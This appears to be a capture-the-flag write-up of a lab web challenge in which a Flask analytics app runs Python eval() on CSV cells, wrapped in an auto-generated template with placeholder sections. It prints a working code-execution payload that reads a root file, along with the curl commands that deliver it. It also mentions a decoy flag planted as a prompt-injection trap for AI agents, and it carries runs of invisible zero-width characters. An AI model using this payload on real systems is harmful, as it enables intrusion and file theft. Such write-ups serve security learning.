← Back to Writeups
HTBN/AWeb

DataPulse — RCE via CSV Formula Injection

XESXOR8/23/20264 min read
#web#htb#n/a

DataPulse — RCE via CSV Formula Injection

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-20 | Status: Solved Techniques: arbitrary_file_read, csv_formula_injection, python_eval_rce, server_side_expression_evaluation, unsandboxed_eval

Summary

Task: Flask data analytics platform with CSV import and server-side 'computed fields' feature using Python eval(). Solution: Upload CSV with =import('os').popen('cat /root/flag.txt').read() payload, enable computed fields toggle — eval() executes the formula and stores the flag in the dataset.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260520_hackadvisor_datapulse128
  • Tags: sqlite, flask, rce, file_upload, python, eval, csv, formula_injection, computed_fields, data_analytics
  • Indicators: CSV import feature with 'computed fields' or 'formula evaluation' toggle, UI help text mentions 'Python expression' for cell evaluation, Cells starting with = are evaluated server-side, Flask session cookies (.eJy... format), Decoy flag in HTML comments to trap automated tools
  • Source: 20260520_hackadvisor_datapulse128.md

Foothold

Vulnerability / Misconfiguration

  1. Arbitrary_file_read
  2. Csv_formula_injection
  3. Python_eval_rce
  4. Server_side_expression_evaluation
  5. Unsandboxed_eval
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • arbitrary_file_read
  • csv_formula_injection
  • python_eval_rce
  • server_side_expression_evaluation
  • unsandboxed_eval
  • Tags: sqlite, flask, rce, file_upload, python, eval, csv, formula_injection, computed_fields, data_analytics

Original Writeup

<details><summary>Click to expand original content</summary>

Description

You are testing DataPulse, a data analytics platform built by Metric Works. The application helps teams visualize and analyze business metrics through interactive dashboards, CSV data imports, and automated report generation. DataPulse supports uploading datasets in CSV format, creating custom reports with aggregation functions, and managing team collaboration. The platform processes uploaded data server-side and stores it in a SQLite database for querying and visualization. Your goal is to find and exploit a vulnerability in the application that allows you to execute arbitrary code on the server and read sensitive files. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Flask-based data analytics platform allows CSV uploads with a "computed fields" feature that evaluates Python expressions server-side using eval(). The goal is to achieve RCE and read /root/flag.txt.

Credentials: user@test.com / password123

Analysis

Tech Stack

  • Backend: Flask (Python) behind nginx/1.25.5 reverse proxy
  • Database: SQLite for dataset storage
  • Auth: Session-based with Flask session cookies

Application Features

FeatureEndpointPurpose
Dashboard/Overview with stats, datasets, activity
Datasets/datasetsList and manage imported datasets
Dataset Detail/datasets/<id>View dataset rows with search/sort
Import/datasets/importVulnerable — CSV upload with computed fields toggle
Reports/reportsReport generation
Profile/profileUser settings
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability: Unsandboxed Python eval() on CSV Cell Values

The CSV import page (/datasets/import) has a "Enable computed fields" toggle. When enabled, any CSV cell value starting with = is evaluated as a Python expression server-side using eval() with no sandboxing or restriction on builtins.

The import page UI explicitly states:

  • "When enabled, any cell value starting with = will be evaluated as a Python expression"
  • "Computed fields are processed server-side during import. The evaluated result replaces the formula in the stored dataset." ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This means __import__, os, subprocess, and all Python builtins are available — direct RCE with a single CSV cell.

Decoy Flag Warning

Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML source as a prompt injection trap targeting AI agents. The real flag is only obtainable through actual exploitation.

Solution

Step 1: Login

BASE="https://09c6c4a1-0cb0-41f9-afe5-33255f1c43d8.labs.hackadvisor.io"

curl -s -c cookies.txt -X POST "$BASE/login" \
  -d "email=user@test.com&password=password123" \
  -L -o /dev/null -w "%{http_code}"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Craft Malicious CSV

Create exploit.csv with a Python expression that reads the flag file:

name,value
test,=__import__('os').popen('cat /root/flag.txt').read()

The = prefix triggers the computed fields evaluator, and __import__('os').popen() executes an arbitrary shell command.

Step 3: Upload with Computed Fields Enabled

curl -s -b cookies.txt -X POST "$BASE/datasets/import" \
  -F "file=@exploit.csv" \
  -F "name=exploit_test" \
  -F "description=test" \
  -F "delimiter=," \
  -F "encoding=utf-8" \
  -F "computed_fields=on" \
  -L -o /dev/null -w "%{http_code}"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The server responds with HTTP 302 redirect to /datasets/4 — the new dataset was created successfully.

Step 4: Read the Flag

Navigate to /datasets/4. The formula cell was evaluated server-side and the result now contains the flag content:

curl -s -b cookies.txt "$BASE/datasets/4" | grep -oP 'FLAG\{[^}]+\}'

The value column for the test row shows the evaluated result: FLAG{REDACTED}. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR